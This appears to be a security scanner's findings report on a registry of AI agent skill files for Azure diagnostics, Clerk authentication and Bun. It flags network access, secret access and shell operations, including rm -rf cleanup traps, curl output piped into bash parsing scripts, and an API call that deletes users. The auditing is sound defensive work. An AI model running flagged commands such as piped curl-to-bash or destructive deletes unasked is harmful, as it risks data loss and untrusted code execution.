[Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton - Network accessline 42
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md
- Network accessline 7
| Symptom | Solution | Documentation - Network accessline 8
| -------------------------------------- | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- - Network accessline 9
| TermService not running | Start the service and set to Automatic | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 10
| RDP port changed from 3389 | Reset port or update NSG to allow the custom port | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 11
| RDP disabled (fDenyTSConnections = 1) | Reset RDP config via CLI or Portal | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 12
| TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal - Network accessline 13
| NLA/Security Layer mismatch | Temporarily disable NLA for recovery | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e - Network accessline 14
| GPO overriding local RDP settings | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 15
| RDS licensing expired | Remove RDSH role or configure license server | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md
- Network accessline 40
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 41
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 42
[Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux - Network accessline 43
[Ubuntu SSH]: https://documentation.ubuntu.com/release-notes/24.04/#openssh - Network accessline 44
[SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting - Network accessline 45
[UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md
- Network accessline 9
| Symptom | OS | Solution | Documentation - Network accessline 10
| ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ - Network accessline 11
| Run Command times out | Windows | VM agent may be down — use Serial Console instead | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo - Network accessline 12
| Run Command times out | Linux | VM agent may be down — use Serial Console instead | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s - Network accessline 13
| Password reset fails via Portal/CLI | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w - Network accessline 14
| Password/key reset fails via Portal/CLI | Linux | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/ - Network accessline 15
| VM not booting (Boot Diagnostics shows BSOD/stuck) | Windows | OS-level issue — use repair VM for offline fix | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa - Network accessline 16
| VM not booting (Boot Diagnostics shows kernel panic/stuck) | Linux | Use repair VM for offline Linux disk fix | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l - Network accessline 17
| VMAccess extension error on domain controller | Windows | VMAccess doesn't support DCs — use Serial Console | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A - Network accessline 27
Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples). - Network accessline 31
- **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error - Network accessline 32
- **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith - Network accessline 33
- **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md
- Network accessline 3
Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu - Network accessline 5
> ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview). - Network accessline 29
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md
- Network accessline 3
Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md
- Network accessline 3
Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic - Network accessline 12
| `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual - Network accessline 13
| `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser - Network accessline 14
| `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md
- Network accessline 3
Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv - Network accessline 30
Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei - Network accessline 45
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md
- Network accessline 3
Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md
- Network accessline 3
Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md
- Network accessline 9
1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 10
2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 80
- [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide) - Network accessline 81
- [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide) - Network accessline 82
- [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas) - Network accessline 83
- [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas) - Network accessline 84
- [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot) - Network accessline 85
- [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot) - Network accessline 86
- [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow) - Network accessline 87
- [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)
packages/autoskills/skills-registry/bash-defensive-patterns/references/details.md
- Dangerous shell operationline 30
trap 'echo "Cleaning up..."; rm -rf "$TMPDIR"' EXIT - Dangerous shell operationline 150
trap 'rm -rf -- "$TMPDIR"' EXIT - Dangerous shell operationline 331
# Use -I flag to prompt before rm (BSD/GNU compatible) - Dangerous shell operationline 332
rm -rI -- "$dir" - Dangerous shell operationline 432
run_cmd rm "$file"
packages/autoskills/skills-registry/best-practices/SKILL.md
- Network accessline 13
2. Otherwise, inspect the resolved `better-auth` version in the lockfile, falling back to the package manifest when no lockfile is available. 3. When the Better Auth MCP is available, call `get_doc` with `/llms.txt` to resolve that package - Network accessline 14
3. When the Better Auth MCP is available, call `get_doc` with `/llms.txt` to resolve that package version to a documentation identifier. Pass the identifier to every `search_docs` call and pass result paths to `get_doc` unchanged. 4. Withou - Network accessline 15
4. Without MCP, start at [better-auth.com/llms.txt](https://better-auth.com/llms.txt) and follow the matching version index. - Access to secretsline 25
[Credential-related source omitted] - Network accessline 38
### Environment Variables - `BETTER_AUTH_SECRET` - Encryption secret (min 32 chars). Generate: `openssl rand -base64 32` - `BETTER_AUTH_URL` - Base URL (e.g., `https://example.com`) - Network accessline 40
- `BETTER_AUTH_URL` - Base URL (e.g., `https://example.com`) - Network accessline 188
- [Docs](https://better-auth.com/docs) - Network accessline 189
- [Options Reference](https://better-auth.com/docs/reference/options) - Network accessline 190
- [LLMs.txt](https://better-auth.com/llms.txt) - Network accessline 191
- [GitHub](https://github.com/better-auth/better-auth) - Network accessline 192
- [Init Options Source](https://github.com/better-auth/better-auth/blob/main/packages/core/src/types/init-options.ts)
packages/autoskills/skills-registry/bun/SKILL.md
- Network accessline 13
Bun is a unified JavaScript runtime, package manager, bundler, and test runner written in Zig. It replaces Node.js, npm, esbuild, and Jest with a single fast binary. Key files: `bunfig.toml` (configuration), `bun.lock` (lockfile), `package. - Network accessline 151
const server = Bun.serve({ port: 3000, fetch(req) { - Network accessline 152
port: 3000, fetch(req) { return new Response("Hello!"); - Network accessline 153
fetch(req) { - Network accessline 220
**Comprehensive navigation**: https://bun.com/docs/llms.txt — Page-by-page listing of all Bun documentation. - Network accessline 222
**Critical pages**: 1. [Bun Runtime](https://bun.com/docs/runtime) — Execute files, scripts, and manage the runtime - Network accessline 223
1. [Bun Runtime](https://bun.com/docs/runtime) — Execute files, scripts, and manage the runtime - Network accessline 224
2. [Package Manager](https://bun.com/docs/pm/cli/install) — Install, add, remove packages and manage dependencies - Network accessline 225
3. [Bundler](https://bun.com/docs/bundler) — Bundle JavaScript/TypeScript for production - Network accessline 226
4. [Test Runner](https://bun.com/docs/test) — Write and run Jest-compatible tests - Network accessline 227
5. [bunfig.toml](https://bun.com/docs/runtime/bunfig) — Configure Bun's behavior - Network accessline 231
> For additional documentation and navigation, see: https://bun.com/docs/llms.txt
packages/autoskills/skills-registry/chrome-extension-development/SKILL.md
- Network accessline 4
metadata: maintainer: Mindrally source: https://github.com/Mindrally/skills - Network accessline 5
maintainer: Mindrally source: https://github.com/Mindrally/skills --- - Network accessline 6
source: https://github.com/Mindrally/skills - Network accessline 45
"content_scripts": [ { "matches": ["https://*.example.com/*"], - Network accessline 46
{ "matches": ["https://*.example.com/*"], "js": ["content/content-script.js"], - Network accessline 47
"matches": ["https://*.example.com/*"],
packages/autoskills/skills-registry/clerk-android/SKILL.md
- Network accessline 179
- `clerk` skill for top-level Clerk routing - `clerk-setup` skill for cross-framework quickstart setup - `https://github.com/clerk/clerk-android` - Network accessline 180
- `clerk-setup` skill for cross-framework quickstart setup - `https://github.com/clerk/clerk-android` - `https://clerk.com/docs/android/getting-started/quickstart` - Network accessline 181
- `https://github.com/clerk/clerk-android` - Network accessline 182
- `https://clerk.com/docs/android/getting-started/quickstart`
packages/autoskills/skills-registry/clerk-android/references/custom.md
packages/autoskills/skills-registry/clerk-android/references/prebuilt.md
packages/autoskills/skills-registry/clerk-astro-patterns/SKILL.md
- Network accessline 64
The middleware populates `Astro.locals.auth()`. Each page and API route checks for itself. `createRouteMatcher` was removed in `@clerk/astro` 4.0 (deprecated in 3.x). Don't add it. Existing uses must move to page and API-route checks before - Access to secretsline 112
[Credential-related source omitted] - Network accessline 127
[Astro SDK](https://clerk.com/docs/astro/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-astro-patterns/references/middleware.md
- Network accessline 38
`createRouteMatcher` was removed in `@clerk/astro` 4.0 (deprecated in 3.x). Don't add it. Existing uses must move to page and API-route checks before upgrading. Middleware matches on URL paths, which can diverge from how Astro routes reques
packages/autoskills/skills-registry/clerk-astro-patterns/templates/astro-basic-auth/astro.config.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-astro-patterns/templates/astro-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-astro-patterns/templates/astro-basic-auth/src/middleware.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-backend-api/SKILL.md
- Broad permissionsline 1
Bash, Read, Grep, Skill, WebFetch - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Network accessline 42
# Step 1 — Create organization ORG=$(curl -s -X POST "https://api.clerk.com/v1/organizations" \ - Network accessline 43
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Network accessline 52
# Step 3 — Invite member with role curl -s -X POST "https://api.clerk.com/v1/organizations/${ORG_ID}/invitations" \ - Dangerous shell operationline 53
[Credential-related source omitted] - Network accessline 53
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Dangerous shell operationline 97
[Credential-related source omitted] - Network accessline 97
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Network accessline 122
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Network accessline 139
# ONLY run after explicit user confirmation curl -s -X DELETE "https://api.clerk.com/v1/users/${USER_ID}" \ - Dangerous shell operationline 140
[Credential-related source omitted] - Network accessline 140
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Network accessline 149
Base URL: `https://api.clerk.com/v1` - Access to secretsline 150
[Credential-related source omitted] - Network accessline 211
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Access to secretsline 212
[Credential-related source omitted] - Network accessline 217
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 225
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted] - Network accessline 253
- For metadata operations, always explain all three types (public, private, unsafe) and recommend the appropriate one. - Pagination: always use `limit` + `offset` and mention that results may be paginated for large datasets. - Use direct cu - Network accessline 255
- Use direct curl commands for all API calls. - Dangerous shell operationline 354
curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | node scripts/extract-tags.js - Network accessline 354
curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | node scripts/extract-tags.js - Dangerous shell operationline 368
curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-tag-endpoints.sh "${tag_name}" - Network accessline 368
curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-tag-endpoints.sh "${tag_name}" - Dangerous shell operationline 385
curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-endpoint-detail.sh "${path}" "${method}" - Network accessline 385
curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-endpoint-detail.sh "${path}" "${method}" - Network accessline 401
2. Identify required and optional parameters from the spec (step 3) or FAST PATH. 3. Ask the user for any required path/query/body parameters that weren't provided. 4. Build and execute a **direct curl command** (see How to execute requests - Network accessline 402
3. Ask the user for any required path/query/body parameters that weren't provided. 4. Build and execute a **direct curl command** (see How to execute requests above). 5. Parse the JSON response and display it clearly. Extract and summarize - Network accessline 403
4. Build and execute a **direct curl command** (see How to execute requests above). - Network accessline 408
[Credential-related source omitted] - Access to secretsline 408
[Credential-related source omitted] - Access to secretsline 409
[Credential-related source omitted]
packages/autoskills/skills-registry/clerk-backend-api/scripts/api-specs-context.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 8
API_URL="https://api.github.com/repos/clerk/openapi-specs/contents/bapi" - Network accessline 9
RAW_BASE="https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi" - Dangerous shell operationline 12
versions=$(curl -s "$API_URL" | node -e " - Network accessline 12
versions=$(curl -s "$API_URL" | node -e " - Network accessline 28
echo "" echo "TAGS:" curl -s "${RAW_BASE}/${latest}" | node "$(dirname "$0")/extract-tags.js" - Dangerous shell operationline 30
curl -s "${RAW_BASE}/${latest}" | node "$(dirname "$0")/extract-tags.js" - Network accessline 30
curl -s "${RAW_BASE}/${latest}" | node "$(dirname "$0")/extract-tags.js"
packages/autoskills/skills-registry/clerk-backend-api/scripts/extract-endpoint-detail.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 6
# # Usage: # curl -s <spec-url> | bash extract-endpoint-detail.sh "/users/{user_id}/billing/subscription" "get" - Dangerous shell operationline 8
# curl -s <spec-url> | bash extract-endpoint-detail.sh "/users/{user_id}/billing/subscription" "get" - Network accessline 8
# curl -s <spec-url> | bash extract-endpoint-detail.sh "/users/{user_id}/billing/subscription" "get" - Dangerous shell operationline 15
trap 'rm -rf "$TMPDIR_WORK"' EXIT
packages/autoskills/skills-registry/clerk-backend-api/scripts/extract-tag-endpoints.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 6
# # Usage: # curl -s <spec-url> | bash extract-tag-endpoints.sh "Billing" - Dangerous shell operationline 8
# curl -s <spec-url> | bash extract-tag-endpoints.sh "Billing" - Network accessline 8
# curl -s <spec-url> | bash extract-tag-endpoints.sh "Billing" - Dangerous shell operationline 14
trap 'rm -rf "$TMPDIR_WORK"' EXIT
packages/autoskills/skills-registry/clerk-backend-api/scripts/extract-tags.js
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/SKILL.md
- Network accessline 27
3. Side panels don't auto-refresh auth state -- users must close and reopen the side panel after signing in via the web app 4. Service workers and content scripts have NO access to Clerk React hooks -- use `createClerkClient()` or message p - Network accessline 28
4. Service workers and content scripts have NO access to Clerk React hooks -- use `createClerkClient()` or message passing 5. Extension URLs use `chrome-extension://` not `http://` -- all redirect URLs must use `chrome.runtime.getURL('.')` - Network accessline 29
5. Extension URLs use `chrome-extension://` not `http://` -- all redirect URLs must use `chrome.runtime.getURL('.')` - Network accessline 61
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 62
CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Access to secretsline 69
[Credential-related source omitted] - Network accessline 110
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 111
CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 112
PLASMO_PUBLIC_CLERK_SYNC_HOST=http://localhost - Network accessline 117
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_live_... CLERK_FRONTEND_API=https://clerk.your-domain.com - Network accessline 118
CLERK_FRONTEND_API=https://clerk.your-domain.com - Network accessline 119
PLASMO_PUBLIC_CLERK_SYNC_HOST=https://clerk.your-domain.com - Access to secretsline 141
[Credential-related source omitted] - Network accessline 154
curl -X PATCH https://api.clerk.com/v1/instance \ - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Network accessline 288
**Option A -- Plasmo Itero (recommended):** 1. Visit [Plasmo Itero Generate Keypairs](https://itero.plasmo.com/ext/generate-keypairs) - Network accessline 289
1. Visit [Plasmo Itero Generate Keypairs](https://itero.plasmo.com/ext/generate-keypairs) - Access to secretsline 307
[Credential-related source omitted] - Network accessline 308
"permissions": ["cookies", "storage"], "host_permissions": [ "http://localhost/*", - Network accessline 309
"host_permissions": [ "http://localhost/*", "$CLERK_FRONTEND_API/*" - Network accessline 310
"http://localhost/*",
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/evals/evals.json
- Network accessline 64
"Shows adding syncHost prop to ClerkProvider", "Shows host_permissions configuration in package.json manifest", "Shows the curl command to add extension ID to allowed_origins via Clerk API" - Network accessline 65
"Shows host_permissions configuration in package.json manifest", "Shows the curl command to add extension ID to allowed_origins via Clerk API" ] - Network accessline 66
"Shows the curl command to add extension ID to allowed_origins via Clerk API"
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/content-scripts.md
- Access to secretsline 49
[Credential-related source omitted] - Network accessline 75
const res = await fetch('https://api.yourapp.com/me', { - Network accessline 98
"manifest": { "permissions": ["storage"], "host_permissions": ["https://specific-site.com/*"] - Network accessline 99
"permissions": ["storage"], "host_permissions": ["https://specific-site.com/*"] } - Network accessline 100
"host_permissions": ["https://specific-site.com/*"] - Network accessline 113
"content_scripts": [ { "matches": ["https://specific-site.com/*"], - Network accessline 114
{ "matches": ["https://specific-site.com/*"], "js": ["content.js"] - Network accessline 115
"matches": ["https://specific-site.com/*"], - Network accessline 125
Clerk enforces strict allowed origins for API requests. A content script can be injected into any domain (e.g., `https://github.com`, `https://google.com`). There is no way to add all possible domains to Clerk's allowed origins, so direct C - Network accessline 127
[Docs](https://clerk.com/docs/chrome-extension/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/create-clerk-client.md
- Access to secretsline 21
[Credential-related source omitted] - Network accessline 70
const res = await fetch('https://api.example.com/me', { - Access to secretsline 86
[Credential-related source omitted] - Network accessline 129
const res = await fetch('https://api.yourapp.com/data', { - Network accessline 139
[createClerkClient() reference](https://clerk.com/docs/reference/chrome-extension/create-clerk-client)
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/headless-extension.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 59
await fetch('https://api.yourapp.com/page-visit', { - Network accessline 74
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 75
CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 76
PLASMO_PUBLIC_CLERK_SYNC_HOST=http://localhost - Network accessline 81
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_live_... CLERK_FRONTEND_API=https://clerk.your-domain.com - Network accessline 82
CLERK_FRONTEND_API=https://clerk.your-domain.com - Network accessline 83
PLASMO_PUBLIC_CLERK_SYNC_HOST=https://clerk.your-domain.com - Access to secretsline 92
[Credential-related source omitted] - Network accessline 109
curl -X PATCH https://api.clerk.com/v1/instance \
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/sync-host.md
- Network accessline 23
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 24
CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev - Network accessline 25
PLASMO_PUBLIC_CLERK_SYNC_HOST=http://localhost - Network accessline 30
PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_live_... CLERK_FRONTEND_API=https://clerk.your-domain.com - Network accessline 31
CLERK_FRONTEND_API=https://clerk.your-domain.com - Network accessline 32
PLASMO_PUBLIC_CLERK_SYNC_HOST=https://clerk.your-domain.com - Network accessline 35
The production value of `PLASMO_PUBLIC_CLERK_SYNC_HOST` is the domain your Clerk Frontend API runs on (e.g., `https://clerk.your-domain.com`), not your app's main domain. - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Network accessline 84
Plasmo interpolates env vars in `package.json` at build time. In dev this resolves to `http://localhost/*`. - Network accessline 91
curl -X PATCH https://api.clerk.com/v1/instance \ - Network accessline 143
[Sync auth status guide](https://clerk.com/docs/guides/sessions/sync-host)
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/templates/chrome-ext-basic-auth/package.json
- Executable scriptline 1
Executable file - Network accessline 12
[Credential-related source omitted] - Access to secretsline 12
[Credential-related source omitted] - Network accessline 13
"permissions": ["cookies", "storage"], "host_permissions": ["http://localhost/*", "$CLERK_FRONTEND_API/*"] } - Network accessline 14
"host_permissions": ["http://localhost/*", "$CLERK_FRONTEND_API/*"]
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/templates/chrome-ext-basic-auth/src/popup.tsx
packages/autoskills/skills-registry/clerk-custom-ui/SKILL.md
- Network accessline 49
| Task | Documentation | |------|---------------| | Appearance prop overview | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/overview | - Network accessline 50
|------|---------------| | Appearance prop overview | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/overview | | Options (structure, logo, buttons) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance - Network accessline 51
| Appearance prop overview | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/overview | - Network accessline 52
| Options (structure, logo, buttons) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/options | - Network accessline 53
| Themes (pre-built dark/light) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/themes | - Network accessline 54
| Variables (colors, fonts, spacing) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/variables | - Network accessline 55
| CAPTCHA configuration | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/captcha | - Network accessline 56
| Bring your own CSS | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/bring-your-own-css |
packages/autoskills/skills-registry/clerk-custom-ui/core-2/custom-sign-in.md
packages/autoskills/skills-registry/clerk-custom-ui/core-2/custom-sign-up.md
